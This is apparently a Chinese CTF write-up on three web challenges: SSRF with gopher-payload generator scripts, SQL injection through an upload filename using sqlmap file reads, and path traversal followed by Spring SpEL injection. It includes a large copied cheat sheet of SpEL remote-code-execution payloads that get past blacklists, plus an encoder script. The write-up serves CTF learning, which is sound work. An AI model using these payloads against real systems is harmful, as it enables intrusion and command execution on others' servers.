Sign_in
一个SSRF题
<?php
highlight_file(__FILE__);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
?>
比赛的时候我先试了一下能不能读到/etc/passwd(还不是因为对Linux不太熟
我还想读shadow的,但是很显然不可以哈哈哈哈。然后读一下hosts文件
hosts文件是Linux系统上一个负责ip地址与域名快速解析的文件,以ascii格式保存在/etc/目录下。hosts文件包含了ip地址与主机名之间的映射,还包括主机的别名。在没有域名解析服务器的情况下,系统上的所有网络程序都通过查询该文件来解析对应于某个主机名的ip地址,否则就需要使用dns服务程序来解决。通过可以将常用的域名和ip地址映射加入到hosts文件中,实现快速方便的访问。
优先级 : dns缓存 > hosts > dns服务
发现内网中的ip
赛后看师傅们的WP发现可以通过读/proc/net/arp或者
/etc/network/interfaces来看哪个主机在连接着这台机器,但是要求权限有点高
扫了端口发现只开了80端口
扫一下c段,发现100有点问题
然后是一个套娃先让传参个a
用脚本
import urllib.parse
payload = """GET /?a=1 HTTP/1.1
Host: 172.73.23.100
Content-Type: application/x-www-form-urlencoded
Content-Length: 3
"""
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A', '%0D%0A')
result = 'gopher://172.73.23.100:80/' + '_' + new
result = urllib.parse.quote(result)
print(result) # 因为是GET请求所以要进行两次url编码
然后又让传b
import urllib.parse
payload = """POST /?a=1 HTTP/1.1
Host: 172.73.23.100
Content-Type: application/x-www-form-urlencoded
Content-Length: 3
b=123
"""
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A', '%0D%0A')
result = 'gopher://172.73.23.100:80/' + '_' + new
result = urllib.parse.quote(result)
print(result) # 因为是GET请求所以要进行两次url编码
现在让我伪造成本地
import urllib.parse
payload = """POST /?a=1 HTTP/1.1
Host: 172.73.23.100
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Content-Length: 3
b=123
"""
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A', '%0D%0A')
result = 'gopher://172.73.23.100:80/' + '_' + new
result = urllib.parse.quote(result)
print(result) # 因为是GET请求所以要进行两次url编码
该死的套娃,
POST /?a=1 HTTP/1.1
Host: 172.73.23.100
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Referer: bolean.club
Content-Length: 3
b=1
Upload
这个题我比赛的时候虽然看到了sql注入的提示,但是也没试,只是绕了后缀,发现都没法解析。
过程中试了php3,php5,phtml,Php,发现虽然都解析,但是解析有问题,应该是upload目录下有配置文件,导致这个目录下php不解析,也想过绕过这个目录,没法mkdir,也想着换掉配置文件,但是文件名是随机的,所以这条路也走不通,比赛题目下面有很显眼的hint:sqlyyds
我一开始以为是在文件内容处注入,,但是走不通,原来是可以在文件名的位置注入
简单试了一下,没有显示位,所以试一下报错注入,sqlmap可以读到源码
sqlmap -r /root/桌面/qq.txt --file-read "/var/www/html/index.php"
3C21444F43545950452068746D6C3E0D0A3C68746D6C206C616E673D22656E223E0D0A3C686561643E0D0A202020203C6D65746120636861727365743D225554462D38223E0D0A202020203C7469746C653EE7AE80E58D95E4B88AE4BCA03C2F7469746C653E0D0A3C2F686561643E0D0A3C626F64793E0D0A202020203C666F726D20616374696F6E3D2222206D6574686F643D22706F73742220656E63747970653D226D756C7469706172742F666F726D2D64617461223E0D0A20202020202020203C696E70757420747970653D2266696C6522206E616D653D22757066696C65223E0D0A20202020202020203C696E70757420747970653D227375626D6974222076616C75653D22E4B88AE4BCA0223E0D0A202020203C2F666F726D3E0D0A3C2F626F64793E0D0A3C2F68746D6C3E0D0A3C3F7068700D0A20202020696E695F7365742827646973706C61795F6572726F7273272C31293B20202020202020200D0A20202020696E695F7365742827646973706C61795F737461727475705F6572726F7273272C31293B0D0A202020206572726F725F7265706F7274696E67282D31293B0D0A20202020247365727665726E616D65203D20226C6F63616C686F7374223B0D0A2020202024757365726E616D65203D2022726F6F74223B0D0A202020202470617373776F7264203D2022313233343536223B0D0A202020202464626E616D65203D202275706C6F6164223B0D0A20202020200D0A0D0A2020202024636F6E6E203D206D7973716C695F636F6E6E65637428247365727665726E616D652C2024757365726E616D652C202470617373776F72642C202464626E616D65293B0D0A2020202069662821656D70747928245F46494C455329297B0D0A20202020202020202466696C656E616D655F687A203D206578706C6F646528222E222C20245F46494C45535B27757066696C65275D5B276E616D65275D293B0D0A2020202020202020246E616D65203D20617272617928276A7067272C20276A70656727202C27706E67272C202767696627293B0D0A20202020202020202466696C656E616D655F203D20656E64282466696C656E616D655F687A293B0D0A2020202020202020696628696E5F6172726179282466696C656E616D655F2C20246E616D6529207C7C20245F46494C45535B27757066696C65275D5B2774797065275D203D3D202263746622297B0D0A20202020202020202020202024746D706E616D652020203D20245F46494C45535B27757066696C65275D5B27746D705F6E616D65275D3B0D0A202020202020202020202020246E616D652020202020203D20245F46494C45535B27757066696C65275D5B276E616D65275D3B0D0A2020202020202020202020202466696C655F6E616D65203D206D643528646174652827596D6448697327292E72616E64283130302C393939292E246E616D65292E272E272E2466696C656E616D655F3B0D0A2020202020202020202020202473716C203D2022696E7365727420696E746F2075706C6F61645F66696C652076616C75657328272466696C655F6E616D6527293B223B0D0A202020202020202020202020696620286D7973716C695F71756572792824636F6E6E2C202473716C29297B0D0A202020202020202020202020202020206966286D6F76655F75706C6F616465645F66696C652824746D706E616D652C20272E2F75706C6F61642F272E2466696C655F6E616D6529297B0D0A20202020202020202020202020202020202020206563686F20246E616D652E22E4B88AE4BCA0E68890E58A9FEFBC813C62723EE69687E4BBB6E5AD98E582A8E59CA83A222E222F75706C6F61642F2466696C655F6E616D65223B0D0A202020202020202020202020202020207D656C73657B0D0A20202020202020202020202020202020202020206563686F20246E616D652E2220E4B88AE4BCA0E5A4B1E8B4A5EFBC81223B0D0A202020202020202020202020202020207D0D0A2020202020202020202020207D656C7365207B0D0A202020202020202020202020202020206563686F20224572726F723A2022202E202473716C202E20223C62723E22202E206D7973716C695F6572726F722824636F6E6E293B0D0A2020202020202020202020207D0D0A20202020202020207D656C73657B0D0A20202020202020206563686F20222E2E2E2E2E2E2E2E2E2E2E2E2EE588ABE4B9B1E4BCA02CE999A4E99D9E74797065E698AF637466223B0D0A20202020202020207D0D0A202020207D0D0A20202020202020200D0A20202020202020200D0A2020202
hex转码一下
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>简单上传</title>
</head>
<body>
<form action="" method="post" enctype="multipart/form-data">
<input type="file" name="upfile">
<input type="submit" value="上传">
</form>
</body>
</html>
<?php
ini_set('display_errors',1);
ini_set('display_startup_errors',1);
error_reporting(-1);
$servername = "localhost";
$username = "root";
$password = "123456";
$dbname = "upload";
$conn = mysqli_connect($servername, $username, $password, $dbname);
if(!empty($_FILES)){
$filename_hz = explode(".", $_FILES['upfile']['name']);
$name = array('jpg', 'jpeg' ,'png', 'gif');
$filename_ = end($filename_hz);
if(in_array($filename_, $name) || $_FILES['upfile']['type'] == "ctf"){
$tmpname = $_FILES['upfile']['tmp_name'];
$name = $_FILES['upfile']['name'];
$file_name = md5(date('YmdHis').rand(100,999).$name).'.'.$filename_;
$sql = "insert into upload_file values('$file_name');";
if (mysqli_query($conn, $sql)){
if(move_uploaded_file($tmpname, './upload/'.$file_name)){
echo $name."上传成功!<br>文件存储在:"."/upload/$file_name";
}else{
echo $name." 上传失败!";
}
}else {
echo "Error: " . $sql . "<br>" . mysqli_error($conn);
}
}else{
echo ".............别乱传,除非type是ctf";
}
}
看到了数据库的账号密码,本来想连一手,但是不能本地连接
sqlmap跑这个的源码的原理研究了昨天一晚上,,,但是最后还是没法解决猜flag的问题。因为10.0.38-MariaDB 数据库与 ubuntu 系统中间存在一些问题导致.无法使用,导致我们不能读表名,只能盲猜表名和列名是flag,下一题啦!
ez_java
赛后复现这个题,由于对Java还不是很熟悉,web.xml就看了好久。。。
于是我决定先不看这个题,先去buu看看Java的题,
好了看完回来了
这个题打开可以看到下载1.txt,我们知道事情并不简单,于是我们查看源代码,发现
<html>
<body>
<h2>Hello World!</h2>
download: <a href="./download?filename=1.txt">1.txt</a>
</body>
</html>
可以通过filename参数下载任意参数
/download?filename=1.txt
我们尝试下载web.xml,一开始提示
file is not exist
我们加个../后提示
invalid filename
最后加了三个../成功下载出来
/download?filename=../../../web.xml
我们在web.xml中可以看到/test388路由,尝试读取它的包
/download?filename=../../../classes/com/abc/servlet/TestServlet.class
down到一个class文件,idea反编译一下
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.abc.servlet;
import java.io.IOException;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.expression.Expression;
import org.springframework.expression.ParserContext;
import org.springframework.expression.common.TemplateParserContext;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;
public class TestServlet extends HttpServlet {
public TestServlet() {
}
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doPost(req, resp);
}
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
try {
String name = request.getParameter("name");
name = new String(name.getBytes("ISO8859-1"), "UTF-8");
if (this.blackMatch(name)) {
request.setAttribute("message", "name is invalid");
request.getRequestDispatcher("/message.jsp").forward(request, response);
return;
}
System.out.println(name);
String message = this.getAdvanceValue(name);
request.setAttribute("message", message);
request.getRequestDispatcher("/message.jsp").forward(request, response);
} catch (Exception var5) {
request.setAttribute("message", "error");
request.getRequestDispatcher("/message.jsp").forward(request, response);
}
}
private boolean blackMatch(String val) {
String[] var2 = this.getBlacklist();
int var3 = var2.length;
for(int var4 = 0; var4 < var3; ++var4) {
String keyword = var2[var4];
Matcher matcher = Pattern.compile(keyword, 34).matcher(val);
if (matcher.find()) {
return true;
}
}
return false;
}
private String getAdvanceValue(String val) {
ParserContext parserContext = new TemplateParserContext();
SpelExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(val, parserContext);
StandardEvaluationContext evaluationContext = new StandardEvaluationContext();
return exp.getValue(evaluationContext).toString();
}
private String[] getBlacklist() {
return new String[]{"java.+lang", "Runtime", "exec.*\\("};
}
}
大概意思是post一个name过去,经过过滤以后放入parser.parseExpression
这题就是spel注入了,但是有黑名单
private String[] getBlacklist() {
return new String[]{"java.+lang", "Runtime", "exec.*\\("};
简单了解一下spel
Spel概述
在Spring 3中引入了Spring表达式语言,Spring表达式语言全称为“Spring Expression Language”,缩写为“SpEL”,类似于Struts2x中使用的OGNL表达式语言,能在运行时构建复杂表达式、存取对象图属性、对象方法调用等等,并且能与Spring功能完美整合,如能用来配置Bean定义。
表达式语言给静态Java语言增加了动态功能。
SpEL是单独模块,只依赖于core模块,不依赖于其他模块,可以单独使用。
SpEL表达式使用
SpEL定界符——#{}
SpEL使用#{}作为定界符,所有在大括号中的字符都将被认为是SpEL表达式,在其中可以使用SpEL运算符、变量、引用bean及其属性和方法等。如果是 #{ 开头同时 } 结尾,就会进入到 SPEL 解析
这里需要注意#{}和${}的区别:
-
#{}就是SpEL的定界符,用于指明内容未SpEL表达式并执行;
-
${}主要用于加载外部属性文件中的值,在Spring Boot 很早版本的一个SpEL表达式注入中就是依赖${}触发的
-
两者可以混合使用,但是必须#{}在外面,${}在里面,如#{'${}'},注意单引号是字符串类型才添加的
Demo
直接用Spring的HelloWorld例子。
HelloWorld.java:
package com.mi1k7ea;
public class HelloWorld {
private String message;
public void setMessage(String message){
this.message = message;
}
public void getMessage(){
System.out.println("Your Message : " + message);
}
}
MainApp.java:
package com.mi1k7ea;
import com.mi1k7ea.service.AccountService;
import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;
public class MainApp {
public static void main(String[] args) {
ApplicationContext context = new ClassPathXmlApplicationContext("Beans.xml");
HelloWorld obj = (HelloWorld) context.getBean("helloWorld");
obj.getMessage();
}
}
Beans.xml:
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans-3.0.xsd ">
<bean id="helloWorld" class="com.mi1k7ea.HelloWorld">
<property name="message" value="#{'mi1k7ea'} is #{666}" />
</bean>
</beans>
运行输出:
Your Message : mi1k7ea is 666
SpEL表达式运算
SpEL提供了以下几种运算符:
运算符类型 | 运算符 |
---|---|
算数运算 | +, -, *, /, %, ^ |
关系运算 | <, >, ==, <=, >=, lt, gt, eq, le, ge |
逻辑运算 | and, or, not, ! |
条件运算 | ?:(ternary), ?:(Elvis) |
正则表达式 | matches |
引用Bean
SpEL表达式能够通过其他Bean的ID进行引用,直接在#{}
符号中写入ID名即可,无需添加单引号括起来。如:
<!--原来的写法,通过构造函数实现依赖注入--> <!--<constructor-arg ref="test"/>--> <constructor-arg value="#{test}"/> 引用类属性
恶意利用
修改value中类类型表达式的类为Runtime并调用其命令执行方法即可
#{T(java.lang.Runtime).getRuntime().exec('calc')}
运行可弹计算器
但是这个题有黑名单,网上找一个bypass方式叭hhhhh
// PoC原型
// Runtime
T(java.lang.Runtime).getRuntime().exec("calc")
T(Runtime).getRuntime().exec("calc")
// ProcessBuilder
new java.lang.ProcessBuilder({'calc'}).start()
new ProcessBuilder({'calc'}).start()
******************************************************************************
// Bypass技巧
name=#{new java.util.Scanner(new ProcessBuilder("cat","/f1AgJvav").start().getInputStream(), "GBK").useDelimiter("whoami").next()}
// 反射调用
T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("calc")
// 同上,需要有上下文环境
#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")
// 反射调用+字符串拼接,绕过如javacon题目中的正则过滤
T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})
// 同上,需要有上下文环境
#this.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})
// 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符,Part1
// byte数组内容的生成后面有脚本
new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()
// 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符,Part2
// byte数组内容的生成后面有脚本
T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)))
// JavaScript引擎通用PoC
T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval("xxx"),)
// JavaScript引擎+反射调用
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})),)
// JavaScript引擎+URL编码
// 其中URL编码内容为:
// 不加最后的getInputStream()也行,因为弹计算器不需要回显
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(java.net.URLDecoder).decode("%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29")),)
// 黑名单过滤".getClass(",可利用数组的方式绕过,还未测试成功
''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15].invoke(''['class'].forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'calc')
// JDK9新增的shell,还未测试
T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString()
${pageContext} 对应于JSP页面中的pageContext对象(注意:取的是pageContext对象。)
${pageContext.getSession().getServletContext().getClassLoader().getResource("")} 获取web路径
${header} 文件头参数
${applicationScope} 获取webRoot
${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("命令").getInputStream())} 执行命令
// 渗透思路:获取webroot路径,exec执行命令echo写入一句话。
<p th:text="${#this.getClass().forName('java.lang.System').getProperty('user.dir')}"></p> //获取web路径
CreateAscii.py,用于String类动态生成字符的字符ASCII码转换生成:
message = input('Enter message to encode:')
print('Decoded string (in ASCII):\n')
print('T(java.lang.Character).toString(%s)' % ord(message[0]), end="")
for ch in message[1:]:
print('.concat(T(java.lang.Character).toString(%s))' % ord(ch), end=""),
print('\n')
print('new java.lang.String(new byte[]{', end=""),
print(ord(message[0]), end="")
for ch in message[1:]:
print(',%s' % ord(ch), end=""),
print(')}')
这个题的payload
name=#{new java.util.Scanner(new ProcessBuilder("cat","/f1AgJvav").start().getInputStream(), "GBK").useDelimiter("whoami").next()}